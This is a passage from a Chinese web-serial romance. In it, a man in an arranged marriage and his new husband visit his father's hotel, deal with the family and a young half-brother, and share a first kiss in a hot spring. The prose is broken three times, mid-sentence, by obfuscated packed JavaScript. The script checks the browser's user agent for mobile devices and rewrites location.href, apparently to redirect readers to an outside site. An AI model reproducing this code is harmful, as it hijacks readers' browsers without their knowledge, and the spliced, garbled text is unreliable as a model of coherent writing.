纪轻行却没把另一只还回来,而是直接拉过沈昕的左手,托住无名指,另一只手手指一推。 沈昕顿时怔住。 在他的视线里,推戒指的纪轻行微微躬身低头,非常专注。 睫毛很长,鼻梁很挺,棱角十分帅气。 刚刚喷上的香水散发着浓郁的气息。 沈昕不由自主地问:“你用的是什么香?” 纪轻行抬起头来,优雅地戴上自己那枚,说:“帝国麝香。” “哦,挺好闻的。” “是么?那我靠近一点,方便你闻。” 纪轻行笑着,一步上前,几乎贴上了沈昕的鼻尖。 沈昕下意识要退,纪轻行却突然强势地一把搂住他的腰,在他脑畔开口说道:“不过就算再好闻也得换了。” 接着,纪轻行嘴唇下移,时有时无地贴着沈昕的耳朵。香气萦绕中,他的嗓音语调越发低沉,魅惑笑意越发明显—— “这毕竟是麝香,用多了你会怀不上的。” 沈昕一愣,脸、耳垂、全身疯狂发烫。 纪轻行心情大好,反握住沈昕的手,说:“走吧。” 离开房间,经过走廊,直入大堂,纪总昂首阔步,自信满满,沈昕则亦步亦趋,满脑子一团乱。 大堂经理看见他们,又看见二人牵着的手和同款的戒指,一愣又一惊:“少爷!……纪、纪总,两位早上好!这边请,沈总和梁总在餐厅,就等二位呢!” 大堂所有员工都看过来。 好像、似乎……和之前听说的不一样啊。 11. 收了神通吧 被纪轻行牵着手走进餐厅,沈昕有些不自在。大庭广众的,他不好直接撒开,只能硬着头皮坚持。 沈知易和梁瑛迎上来,同样特意看了一眼二人牵着的手。 “小纪来了啊。”沈知易赔笑寒暄。 纪轻行礼礼貌貌地说:“爸,梁叔,实在抱歉,昨晚公司临时有事,让你们久等了。” “没关系没关系!生意场上时间难控制,理解,一家人不说客气话啊,来,先吃东西。”沈知易侧过身,带领他们向前。 沈昕在一旁静静地听,静静地看。 纪轻行虽然又“爸”又“叔”又“抱歉”的,但都是场面话,实在没有多少真情实意,姿态很高。 沈知易空有长辈的壳子,实则深知自己现在求人办事,丝毫得罪不得。 到了餐桌边,童童抬头,视线停在沈昕脸上,小声叫了哥哥,又看纪轻行,眼里带着好奇与一点点紧张。 沈知易说:“这会儿不早了,我想着早餐少吃点儿,等下直接吃中午的正餐,小纪觉得呢?” 纪轻行扭头问沈昕:“你觉得呢?” 沈昕一愣,没想到他居然连这点小事都要征求自己的意见。 沈知易和梁瑛也一愣。 沈昕秉着旁观看戏非必要不说话的原则,随意道:“可以,都行。” 沈知易接着说:“咱们这边早餐以西式为主,牛角包是一绝,烤香肠使用原产地食材,搭配不同的乳酪,非常不错,小纪试试看?咖啡师也是我高薪聘请的专业人才,小纪喜欢什么咖啡?” “牛角包和烤香肠……”纪轻行顿了顿,又问沈昕,“你喜欢吗?” 沈昕继续随意道:“可以。” 纪轻行笑了:“我想试试你喜欢的东西,也不用因为是爸推荐的就一定要接受吧?爸您说是吗?” 语气温柔,语意却很强硬。 沈知易脸色微僵,很快恢复,哈哈笑道:“对,没错,点你们喜欢的,随便点哈。我是想着小纪第一次来嘛,拿出最有优势的东西,才是待客之道。” “一家人来着,怎么我突然成了‘客’了?” 纪轻行的确是在开玩笑,但又总觉得他充满了攻击性。 接二连三的下马威,嚣张得超乎沈昕想象。 沈知易和梁瑛只能尬笑,沈昕想了想,解围道:“牛角包可以,烤香肠就算了,早上起来不想太油腻,换成沙拉吧,咖啡我要冷萃,你呢?” “一样。”纪轻行说,“知道你就爱那口凉的,改改吧,常年喝凉胃受不住。” 什么时候这么贴心了? 沈昕无奈道:“那你还跟我一样?” “咱俩以后一起改呗,相互监督行不行?”伸手搂住沈昕的肩,轻轻晃了晃。 沈昕:………… 纪总啊纪总,做什么生意,去演戏吧,各大奖项必有你一席之地。 这时梁瑛对沈知易说:“小纪和昕昕感情真好,看来咱们的决定做对了,之前不认识,不谈恋爱,不代表婚后一定不幸福。” 话里有话的。 他们的决定?是指“卖儿子换资金然后过河拆桥把生意交给小儿子”这种“英明”的决定吗? 还有那句不认识不代表结婚不幸福,是在暗示他看出来了他俩在装? 沈昕脸色一暗,心情顿时非常不好。 突然肩膀一沉,是纪轻行搭在那里的手用了用力。 那家伙笑着说:“没错呢,不认识的人结了婚可以很幸福,感情深厚各方面捆绑在一起的人结了婚也可能会离,婚姻就是这样奇妙的东西。” 果然他也听出来了。 而且根本不用考虑高不高明,只捡解气的话说。 吃过早餐,沈知易带着纪轻行查看酒店各处各部门,详细地介绍情况,沈昕、梁瑛和童童随行。 沈昕一路上默默观察。 休闲度假酒店附带娱乐设施,场地很大,完完整整参观下来是件体力活,梁瑛大着肚子从头走到尾,看得出来他不轻松。 最后来到小宴会厅,准备已久的款待纪轻行的宴席虽迟但到。 “要说咱们这儿还是中餐做得最好,主厨是老师傅,跟我多年相识。”沈知易叫服务生拿来菜单,递给沈昕,“昕昕,你和小纪看看,有没有不喜欢的?不喜欢咱们就换。” 改得挺快。 沈昕瞥了一眼菜单,说:“都很好,没有不喜欢的。” “听你的。”纪轻行轻快地说,接着看向沈知易,“爸,我过来的时候给您带了些茶叶,放车上忘拿来了,吃完饭我去拿,咱俩找个地方品几杯?我看二楼那个茶室不错。” 言下之意,是要正经谈生意。 沈知易自然连连说好。 这一顿饭水准当真极高,但纪轻行的注意力似乎并不在这上面,从不对菜品发表看法,也无对沈知易专门准备的感谢,好像他吃的是再家常不过的东西。 只是每上新菜,他必定首先夹给沈昕;见沈昕喜欢吃哪一道,便多夹几次;汤羹类也会亲自盛出不多不少的一碗,放在沈昕面前最顺手的地方。 还说:“爸对我不太了解,昕昕是知道的,其实我挺喜欢捣鼓家里的琐事,洗菜切菜、收拾碗筷、照顾人什么的,我觉得很有意思,只要有时间肯定非常愿意做。不过特别细致的活儿就不擅长了,比如拆蟹剥虾,实在弄不来,其实我很想给昕昕都剥成肉搁碗里,大口大口地吃。” 沈知易立刻识相地大夸特夸,说昕昕能跟你结婚真是他的福气。 沈昕:……………… 求求了快收了神通吧纪总,奥斯卡都容不下你了。 接着迅速剥出一些虾肉放在小碗里,推过去说:“吃吧。” 堵上你的嘴。 “谢谢。”纪轻行禁不住眼尾都带笑了,“跟昕昕结婚也是我的福气。” 午饭后,纪轻行去拿茶叶,随口问沈昕:“一起去?” 沈昕考虑了一下,说:“好,正好消食,不过就不跟你们一起喝茶了,我不太爱喝茶。” “行。”纪轻行又看梁瑛,“梁叔呢?” 这句话自然不是白问的。 按理说,梁瑛在酒店担任着职务,又是沈知易的合法伴侣,一起谈生意很正常,但纪轻行问都问了…… 沈知易道:“你和童童回房间休息吧。” 梁瑛还没说话,纪轻行便先说:“梁叔叔想一起喝茶也可以嘛。” 恶意满满。 “不了不了。”沈知易很坚决,“他四十出头的人了,高龄产夫,中午不休息不行,童童也得写写作业。” 梁瑛点点头:“嗯,我现在也喝不了茶,不打扰你们。” 取完茶叶,沈昕和纪轻行分道扬镳,自己回房间。 坐在床边发了会儿愣,觉得从今天早上醒来,枕边多了个纪轻行以后至今的所有事情都非常的…… 不真实。 他又躺着发了会儿愣。 然后翻身发愣。 再翻身向另一侧…… 最后强行坐起来打开手机,大脑没有任何启动的意思,便先看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320368|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧文和“沉老师的狗”的精品评论找灵感,刚有些进入状态,门突然被敲响。 声音不大,三声之后就没动静了。 他走过去开门,平视的视线在虚空中一顿,向下看,居然看到了童童。 小男孩儿双手抱着鼓鼓囊囊的书包,抬起的眼睛一眨一眨。 “哥哥,你在睡觉吗?” “没有。” “太好了!哥哥,我能不能在你房间写一会儿作业?” 沈昕犹豫了一下,问:“你爸爸呢?” “爸爸睡觉了。” “他让你过来的?” 童童摇头:“我自己来的,我不想弄出声音和灯光吵醒他。” 才十岁,就这么有心。 沈昕没办法,只能放人进来。 童童肉眼可见地开心了,走进来的脚步都变得轻快:“哥哥,我在哪儿写?” 沈昕四处一看,让他坐了外间的书桌,把顶灯和壁灯都打开,又从冰箱里拿了瓶饮料放在桌上。 童童一边从书包里掏作业一边问:“哥哥你在干什么?” “没干什么,就玩手机。” “哦,我们老师说不能总玩手机,脑子会变笨。” 沈昕:…… 才十岁,就会教育人了。 “我没有总玩,偶偶玩玩。” “哦,我也不总玩,爸爸每天只让我玩二十分钟。” “你爸爸管你管得很严?” “爸爸说管得严是为我好,管得严才能成才。” “成什么才?” 沈昕下意识说完,觉得直接对小孩子说这话不太好。 好在毕竟是小孩子,暂且听不出其中的深意和不快。 童童说:“我也不知道成什么才,就是爸爸说的,说他和老爸都盼着我成才。” 沈昕:………… 盼着他成才,盼着自己“快乐”。 “你写作业吧。”他无力地转身进了里间。 平白多了个人,沈昕连玩手机都玩不进去了。 听着写字和翻书的沙沙声过了将近一个小时,童童走过来说:“哥哥,我作业写完了。” 沈昕抬头,心想他的意思是不是要走? 然而童童却说:“咱们俩打游戏吧?” 沈昕:……………… “我不会打游戏。” “啊?”童童万万没想到,“那……我教你打?特别好玩!” 沈昕觉得孩子是无辜的,但一时之间实在不想应付,便道:“我不喜欢玩游戏,以前试过,确实不喜欢,你自己玩吧。” 童童愣了愣,只能说好吧,悻悻地回去,从书包里拿出游戏机,打开的时候扭头看了看沈昕,担心吵到他,专门调小了声音。 明明是个很懂事、很乖巧、很可爱的孩子,沈昕却越来越觉得压抑。 偌大的豪华套房渐渐变得逼仄。 明明童童打游戏的声音不大,可他听来却震耳欲聋,好像整个世界只剩下了这些无意义的嘈杂。 他有些待不住了。 可把孩子一个人放在这儿不好。 左右为难,沈昕烦躁得不得了,突然门外传来“滴——”一声,是门卡刷开了锁。 厚重的木门推开,熟悉的脚步声渐近,纪轻行回来了。 陡然之间,沈昕如释重负,笼罩着他的阴霾瞬间消失,阳光照进来,风吹进来,他整个人轻松了、确认了—— 原来是因为有纪轻行在,他才能抵挡住这个所谓的“家”。 12. 感动了 “呦,你俩在一块儿呢?”纪轻行明显没想到,好整以暇地问。 “梁叔叔睡觉了,他过来写作业。” “写作业?”纪轻行脱了西装外套,随手往床上一扔,皱眉看着童童手上BGM正响得热闹的游戏机。 沈昕提起纪轻行的西装,抖平了放在床边,说:“已经写完了。” 童童也看纪轻行,第一次见面,对方又有种很凌厉的架势,童童有些怕他,听沈昕说了才又自己补充道:“我写完作业才打游戏的。” 纪轻行好笑道:“没写完作业就打游戏我也管不着啊,我又不是你老师,又不是你爸。” 童童心想你是我哥哥的爱人,但没敢说,低头继续玩。 纪轻行百无聊赖地到处走了走,最后来到童童面前,弯腰看去:“玩什么呢?马里奥啊,这个可以连大屏幕多人玩对不对?” 童童一听,立刻问:“你会玩?” 纪轻行更加好笑道:“马里奥谁不会?” 童童扁嘴道:“我哥哥就不会。” 纪轻行回头看了眼沈昕,心知肚明地说:“你哥哥那确实不是一般人。你去连上电视吧,咱俩一块儿玩。” “好!”童童开心极了,从书包里掏出连接设备一顿操作,和纪轻行一人一个手柄坐在沙发上。 起初很正常,二人安安分分地坐着,偶尔针对游戏交流几句。 十分钟后,交流的次数变多了,声音变大了,语气也变急了,时而大叫时而大笑。 沈昕靠在床头,透过隔开里外间的镂空屏风,看到一大一小两个家伙坐得越来越近,渐渐的还有了肢体接触,你推我一下我挡你一下的。 纪轻行又是个臭不要脸的,童童的小孩子心性很快被激发出来,也不怕人了,嗓门逐渐拉高,渐有掀翻天花板之势。 沈昕忍不住皱眉道:“纪轻行,你多大的人了,怎么欺负小孩儿呢?” 镂空屏风外,纪轻行没回头,一边操作手柄一边说:“我哪儿欺负他了,是他太菜。” “我不菜!是你坑我!坑死我还不救我!还故意抢我的道具!”童童义愤填膺,从沙发上跳下来,正准备好好跟沈昕告状,余光往电视上一瞥,崩溃道,“啊我又死了!” “谁让你不专心。”纪轻行落井下石。 沈昕无奈:“你就不能让让他吗?” “公平竞争,是对对手最大的尊重。”纪轻行煞有其事地说。 沈昕:…… “没想到你居然会把小学生当对手。” 接下来,童童的控诉少了,不知道是不是纪轻行听了进去,手下留情。 又玩了一会儿,他说:“休息休息吧,小学生不能一直玩游戏。” “啊?……哦。”童童打游戏从来没打得这么快乐过,小脸红红的,额头上还出了点汗,意犹未尽,怔怔地问,“那我以后还能跟你一块儿打游戏吗?” 纪轻行说:“肯定没法经常一块儿打,我要上班你要上学,等有机会吧。” “有机会是什么时候?” “比如……逢年过节的时候。” 童童懂了,点点头说:“你和哥哥逢年过节才来。” “嗯,差不多吧。” 童童想了想,去书包里拿出手机,又说:“咱们俩加个Q/Q好不好?如果你平时突然有时间了,也可以找我。” “好啊。”纪轻行一口答应。 童童亮出二维码,添加好友后改备注,问:“我叫你什么呀?” 纪轻行闻言一顿,开始考虑怎么回答恰当,孩子问的是他的名字,还是亲属关系,还是想要一个私下里的称呼呢? 这个问题也吸引了沈昕。 没想到纪轻行居然挺会跟小学生相处,他生怕那家伙突然显露臭不要脸的本性,从称呼上欺压他,赶紧先说:“他是你嫂子。” 语毕,整个套房陷入沉默。 纪轻行扭头眯眼,充满警告地看向沈昕。 沈昕只当看不见。 接着,童童用稚嫩的嗓音问出了巨大的困惑:“你……是姐姐?嫂子的嫂是女字旁。” 沈昕“噗嗤”一声笑了。 纪轻行匪夷所思地皱眉,走到童童面前,亲切地蹲下,谆谆善诱道:“我是哥哥呀,你都十岁了,男的女的总能分清吧?我是你哥哥的老公,我和你哥哥……嗯,就是你两个爸爸的关系,明白么?” 童童连忙为自己辩护:“我明白呀,你是我哥哥的爱人,我当然能分清男的女的!但我哥哥说你是嫂子!” “你哥哥逗你玩呢。”纪轻行回过头,“看看你干的好事!你多大的人了,怎么见识还不如小学生?”又面向童童,“你叫我……大哥哥吧,因为我比你哥哥大,叫阿行哥哥也可以,我叫纪轻行,纪念的纪,轻松的轻,行动的行。” 童童点点头:“好,大哥哥!” “乖。”纪轻行顺手揉了把脑袋。 他俩“一见如故”,童童牵着纪轻行去看自己的作业,纪轻行也不敷衍,跟他聊各门功课的学习进度和学校生活,老师严不严格啦,有没有交好朋友啦,最喜欢上什么课啦,参加什么社团啦,当班干部都做什么啦…… 两人又回到沙发上,童童凑在纪轻行身边,抱着他的胳膊,恨不得什么话都跟他说。 最后终于问出了一直亘在心里的问题:“大哥哥,你和哥哥以前在哪儿?我以前怎么都没见过你们,也不知道你们?而且为什么你们把我爸爸叫叔叔,不叫爸爸?” 沈昕瞬间聚起了精神。 屏风外,纪轻行没有立刻回答这个问题,他沉默着。 沈昕想,他大概会糊弄过去,比如让童童回去问沈知易和梁瑛,或者过来问问自己的意见,毕竟这是他们家的事。 对于他们家来说,纪轻行是个新得不能再新、假得不能再假的成员,本没有必要参与这些。 沈昕垂下头,正在犹豫该怎么处理,突然听到纪轻行开口了。 用语平和,娓娓道来—— “因为你老爸跟你爸爸结婚之前,还跟另一个人结过婚,那个人就是你哥哥的妈妈,哥哥的妈妈生病去世以后,你老爸认识了你爸爸,所以哥哥和我把你爸爸叫叔叔。” “哦!”童童恍然大悟,“我同学家也有这样的!” 这一点对他来说并不难理解和接受。 “至于你以前为什么没见过我们……”纪轻行措了下辞,“因为你老爸和爸爸有了你,想要一心一意地、更好地照顾你,也担心哥哥不喜欢你,所以没有告诉哥哥你的存在,加上最近这五六年哥哥一直在国外上大学、上研究生,回来的机会也很少。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320369|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>童童听着听着,脸皱了起来。 这就不太是他能理解的了。 “哥哥一直不知道我?” “嗯,就像你也一直不知道哥哥。”纪轻行说,“你老爸和爸爸以为哥哥不喜欢你,会欺负你,抢你的东西,事实上这是错的,他们以小人之心度君子之腹,误会了哥哥,其实哥哥很好,你现在亲眼看到了,是不是呢?” “嗯。”童童认可地点头,“你和哥哥都很好,老爸和爸爸那样想不对。” “是啊,而且为了一心一意地照顾你,老爸和爸爸忽略了哥哥。我和哥哥也是前不久才认识的,所以这十多年来,哥哥相当于一个人生活,那时的哥哥也不过是十几岁的孩子,比现在的你大不了多少,尤其那时哥哥刚刚失去了妈妈,其实哥哥……” “纪轻行。”沈昕打断了他。 童童想了一会儿,说:“所以是因为我哥哥才……” “不是。”纪轻行笃定地否认,“与你无关,因为你什么都不知道啊,是你老爸和爸爸没有做好。” 童童又想了一会儿,说:“那我现在知道了,我就不能让老爸和爸爸再忽略哥哥,对哥哥不好了。” “你说得对,你真是个又聪明又善良的孩子,这样的孩子会让所有人喜欢的。”纪轻行轻轻拍他的头,“你、你的老爸、爸爸,还有我,咱们以后都要对哥哥好。” “嗯!”童童笑了起来。 坐在里间的沈昕不自觉地攥住了裤子。 呼吸也压抑着。 生怕稍大声一点就会被外面的两个人听见。 这压抑令人煎熬。 终于,手机响了,他拿起来看了看,尽量调整气息,说:“童童,你爸爸醒了,叫你回去。” “啊?……哦。”童童很是遗憾,慢吞吞地收拾了游戏机和书包,依依不舍地往门口走,“那……哥哥,大哥哥,咱们晚上还要一块儿吃饭是不是?” 沈昕没说话。 纪轻行看了他一眼,对童童说:“应该是。” “哦,那晚上见!拜拜!” “拜拜,路上慢点儿。” 脚步声、开门声、关门声。 套房里又只剩下他和纪轻行二人。 纪轻行仍在外间,像是无聊,这里走走那里看看,走到阳台门边站住,说:“昨晚都没发现这儿还有个温泉,找个时间泡吧,也不算白来。不过现在不行,大半天下来,应付完老的应付小的,累死我了,得睡一会儿。” 说着往里间走来。 沈昕倏而紧张,“噌”地从床边站起来,垂着头快速走开,一路走进浴室,“啪”地反锁上门。 纪轻行看着那扇门。 很快,里面响起了淋浴声。 纪轻行笑了。 真是够脆弱的,这就感动上了呢。 如果不是反锁了门,自己必得冲进去强势地抱住他。 可惜啊可惜。 只能多加耐心,再等一等了。 纪轻行往大床上一躺,感受着沈昕留下的温度,听着浴室里朦胧的水声,心情非常愉悦,非常想干点儿什么表达一下这份愉悦,一时没有花招,便选择了最简单粗暴的:打开阅读软件,给沉心打赏了一艘飞船。 “叮咚——” 纪轻行身边,沈昕的手机响了。 13. 嘴对嘴 冲完淋浴,沈昕在浴室擦干身体吹了头发,对着大镜子确认了好几遍,眼睛和表情没有问题,这才穿上睡袍出去。 房间里很安静。 沈昕放轻脚步,走进镂空屏风,看到纪轻行一身衬衫西裤,闭着眼睛,呈大字型躺在床上。 走过去拿手机的时候,视线不经意扫过纪轻行的身体……中心,下意识停住。 总说十八公分,是真的吗? 但这样也看不出端倪,毕竟是闲置状态,而且品质好的西裤会考虑到每一个细节,绝佳的尺寸与剪裁绝不会令人出现尴尬的情况…… 等等,他在想什么? 回过神来,沈昕对自己非常无语,难不成和臭不要脸的纪轻行住了一段时间,就被他同化,也变得满脑子黄色废料了? 得离远点。 正准备走,闭着眼睛的纪轻行突然笑了,用一种很贱的语气说:“哎呦,迫不及待地把自己洗干净了呢。” 沈昕:…… 确实得离远点。 一边往外间走一边说:“你怎么这么爱装睡。” “谁装睡了,是你自己看着别人闭眼睛就瞎以为。” “你刚才说你要睡的。” “但你去洗澡了,我以为你是暗示我要干点儿什么呢,一直坚持着等你,结果哎……又耍我。”纪轻行故作忧伤叹了口气,扯过旁边的枕头,一个翻身抱住,“你不陪我睡,我只能先拿你的枕头将就将就了。” 沈昕:………… 他忍无可忍:“纪总,其实你可以搞个副业。” “什么?牛郎吗?” 沈昕:……………… 天杀的,他刚刚究竟是哪根筋不对了,竟然会因为这个臭不要脸的家伙说了几句话就无法抑制情绪,跑到浴室去哭! 他愤愤道:“不好意思,我的想象力太局限,相比当牛郎这种伟大的理想,我想的写黄色小说实在太看不起纪总。” “嗐,写小说虽然有意思,但多累啊,别以为黄色小说好写呢,不管什么题材,想写出精品都不容易,就算不追求什么精品、著作、成名,单是写,一天天坐在那里冥思苦想,动脑又动手,可不是件简单的事情。” 沈昕一愣。 他没想到纪轻行居然会说出这种话,而且是很随意地躺在那里,想也不想就说出来的,说明他真心实意地这样认为。 沈昕突然有种……被尊重和认可了的感觉。 一直以来,他之所以没对家人说明他写作的实情,除了因为有些不好意思,更多的正是因为家人并不把写作,尤其是网络写作当正经事。 在他们眼里,做生意,在商场上叱咤风云,在圈子里扬名立万,才是正事。 本以为纪轻行也是这种人,原来其实他…… 然而刚刚有所改观,纪总就又不负期望地说:“还是当牛郎好,靠脸就能吃饭。” 沈昕冷哼一声:“也不只是靠脸。” “那倒是。”纪轻行说,“还得靠嘴和下半身,好在这两方面也是我的强项。所以沈少,如果我去当牛郎,你会光顾我吗?” 沈昕:…………………… 他要疯了。 圈子里的那些长辈究竟知不知道,被他们视为顶梁柱,说出“以后天下是他的了”的家伙,其实是这种货色?! 沈昕懒得再理他,坐到外间沙发上点开手机,发现了来自“沉老师的狗”的打赏通知,看时间是自己去浴室后没多久。 他回头看了下纪轻行。 那家伙应该没动过自己的手机,否则不会是这个反应。 还算是个人。 沈昕给“沉老师的狗”私信了谢谢。 对方很快回复:[不客气老师,今天高兴。] 沈昕笑了一下,回道:[不是说要应酬,大概率不高兴吗?] [但人生总有特别的小概率。] 榜一富婆又爆金句。 聊过几句以后,沈昕觉得自己还是要尽快回到生活的主线上来,有榜一富婆通透睿智大姐姐,有那么多期待着的读者,就算他遭遇了家事的意外,一时陷入低谷,就算现在没有大块的时间和独立的空间,他也可以写。 他应该写。 他要一直一直地写。 他盘起双腿,拿了个靠垫搁在膝头,打开手机文档捧着敲字,时而靠着沙发,时而躬身,双肘枕在靠垫上。 浑身散发着洗澡后的淡淡香气与清爽水气,身后大床上,纪轻行的呼吸渐渐平稳绵长。 沈昕投入进文字中,投入进这样的氛围里。 “总有特别的小概率。” 没错,现在也是个美好的下午呢。 - 晚饭沈知易安排了烧烤。 席上童童的话变多了,还要求和纪轻行挨着坐,两人配合着烤肉烤菜。 沈知易和梁瑛的脸色却一般,不知道是不是童童回去说了什么。 沈昕秉着多看少说的原则,默默吃自己的,沈知易和纪轻行喝酒,他也喝了一些。 饭后,酒店举办的老电影主题活动开始了,绿草坪、露天大幕,客人们席地而坐,享受免费的酒水饮料。 电影是好电影,只可惜人声嘈杂,又是如此境况,沈昕根本没心情看。 去接了一杯啤酒,站在场地边缘喝,不远处沈知易和纪轻行大约还在聊生意,他并不想过去。 很快,一大杯啤酒见底。 他不知道现在的状况是不是叫做上头,意识很清醒,唯独脑门很沉。 没办法再待在外面了。 他快步走向酒店主楼,另一边的纪轻行回头看了他一眼。 回到房间,窗外的温泉庭院夜灯朦胧,光影绰约,十分好看。 沈昕被吸引了,酒后的身体也渴望着放松,他索性换了衣服去泡—— 就像纪轻行说的,不泡岂不白来? 汩汩温泉水漫过胸口,喝着冰箱里的果酒,夜风吹过,他一时清醒一时迷醉,身体发软,靠在池边缓缓下滑。 温泉像巨大且轻巧的被子,团团裹住他,他闭上眼睛,想在这天罗地网中沉沉睡去,忘却一切,一人独赴美妙的梦境。 “不要在这儿睡,对身体不好。” 沈昕扭头看去,纪轻行脱了浴袍,把手机放在池边,站到他旁边的位置,一边伸懒腰一边舒适地深呼吸。 沈昕收回的视线掠过纪轻行刚刚熄灭的手机屏幕,意外地一顿。 他好像看到了一个非常熟悉,却不该出现在纪轻行手机上的APP。 是眼花? 晃了晃有些沉重的脑袋,沈昕没太在意,却听纪轻行说:“不能喝酒就不要喝,借酒消愁愁更愁,你还喝得这么杂,红酒、啤酒、果酒……” “我没有借酒消愁。” 纪轻行笑道:“嘴硬。” 沈昕沉默。 没错,他是在嘴硬,而且不止是对他人嘴硬,更是对自己。 他告诉自己我很坚强我很理性,为这些人这些事根本犯不上不开心,但事实上,他不是这样的。 他的确不开心。 那种不开心并没有在第一时间就疯狂爆发,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320370|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在后来才潜滋暗长,一点一点蔓延,像形成了结界,将他困在里面。 “今天……谢谢。”他认真地说,“谢谢你在他们面前维护我,还有跟童童说的那些话。” 面对沈知易、梁瑛和童童,总有种他们是一家人,自己一个是外人的感觉。而纪轻行在,他便觉得不再孤独,也有了同伴。 “不必客气,也不全是为了你。你被他们欺骗,我也被摆了一道,从这一点上说,咱俩在一条船上,我说什么做什么,自然也是考虑我自己的利益。” “无论如何,还是谢谢。”沈昕顿了顿,“你今天跟我爸谈得怎么样?” “结成亲家,我这边出资,之前有这个协议,而你爸和你叔叔的小九九并没有直接的证据证实,所以我不好立刻反口,我就跟他谈出资的其他条件。” “其他条件?” “嗯。你们家的酒店集团我考察了很久,它一直在走下坡路,是经营思路和用人的问题,投资失败只是加速灭亡。今天我跟你爸仔细分析了情况,出资必须建立在调整经营模式、用人革新的基础上,我的钱不能打水漂。改革方案我这边做了一份,也给他讲过了。” “他怎么说?” “伤筋动骨的,他自然不会一口答应,说要上会讨论,然后再谈。那就再谈,反正我等得起,也没什么让步的余地,他自己发愁去吧。” 沈昕点点头,怪不得晚饭时沈知易和梁瑛的脸色都不太好。 其实从昨天来到这边开始,他也一直在观察酒店的方方面面,但他是个生意小白,没看出什么明显的问题。 如果真想改变,化被动为主动,以后免不了得多请教纪轻行。 这时纪轻行笑了,说:“估计接下来你爸会从你这儿下功夫,让你给我吹枕边风,伺候好我,魅惑我,让我松口……哎你说,如果你爸知道咱俩现在还只是室友关系,他会是什么反应?他应该比咱俩更急,对不对?说不定会派你梁叔叔过来给你传授一些……” 沈昕立刻充满厌恶地、匪夷所思地看着他。 他不明白,纪轻行身上是不是安装了什么系统,只要正经说话正经做人超过五分钟就会原地爆炸? 纪轻行识相住嘴,懒懒散散地摊了下手,拿过沈昕放在池边的果酒,很自然地开喝。 沈昕的眼神更加匪夷所思。 纪轻行道:“怎么了嘛。” 沈昕道:“那是我的。” 纪轻行继续道:“所以怎么了嘛?” 沈昕强调道:“那是我的,你干嘛喝我的?还……嘴对嘴喝。” 纪轻行理所当然道:“所以到底怎么了嘛?你老公我不能跟你嘴对嘴吗?” 沈昕气不打一处来:“当然不能,就比如今天中午你给我夹菜,我已经一再忍了,你就不能用公筷吗?这么基础的餐桌礼仪你不至于……” 戛然而止。 “脑袋炸开”、“满脸涨红”、“双眼瞪大”、“心脏漏了一拍”、“呼吸瞬间停滞”。 此时此刻,沈昕亲身体会到了霸总文学里的初级描写。 倒也……并不浮夸。 刚才,就在他一股脑说话的时候,纪轻行居然…… 突然凑上来亲了他。 唇瓣触碰又分开,极其短暂的一下,体感却极其强烈,如山崩海啸,最终归藏于纪轻行贴在耳畔的优哉游哉的笑语—— “现在可以了吧?” 沈昕转身就走。 他想上岸去。 纪轻行却不放过他,快步追上来,在涌动的温泉水中攥住了他的手腕。 14.喜欢? 纪轻行手劲很大,沈昕被推得退了几步,脊背抵到池边。 下一秒,纪轻行另一只手撑住池沿,正面挡着他。 是进攻的姿态。 沈昕向后缩,视线别向一旁。 纪轻行笑道:“怎么不敢看我?你在害怕什么?怕看了我就会爱上我,爱到泥足深陷无法自拔是吗?” 沈昕:…… 激将法之所以有用,就因为它是阳谋。 明明知道对方的意图,但就是受不了,就是要心甘情愿地跳进圈套。 沈昕鼓了鼓腮帮子,不忿地抬起眼睛。 被水汽染过的柔软长睫毛轻轻颤动,接着一滞,因为纪轻行再度吻了过来。 猝不及防。 不像刚才只是一碰,这次那家伙动了真格,一下一下地试图撬开他的防线。 沈昕只是不肯。 纪轻行停下来,看着他的眼睛,困惑地问:“不喜欢么?虽然说你跟我结婚无关爱情,但至少对我的皮囊满意吧?如果我又老又丑,就算有再多理由,你也不会答应婚事,对不对?” 即便在这种时候,沈昕还是很认真地想了一下,很认真地说:“也不一定。” 纪轻行一愣,接着不甚在意地笑了,剑走偏锋道:“这么说,我这副皮囊倒是意外之喜,让你赚了。喂,你都准备了快半个月了,还没好么?知不知道人生苦短啊,及时行乐吧。” 事已至此,沈昕也觉得自己是有些矫情。 把这段婚姻当工作去经营,的确是已经决定了的,早点儿晚点儿又有什么区别呢? 扒在池边的手暗自用力,沈昕垂下眼帘吞咽了一下,再次抬头时,主动迎上了纪轻行的唇。 肯定的信号令纪轻行瞬间化作狂风暴雨。 沈昕很快便口齿酸疼难以呼吸,还感觉到了传说中的…… 十八公分。 他紧张起来。 他是第一次,别说本垒,连接吻和肌肤相亲也是第一次,他没有经验,也没有想法,只能任凭摆弄,像砧板上被揉圆捏扁的面团。 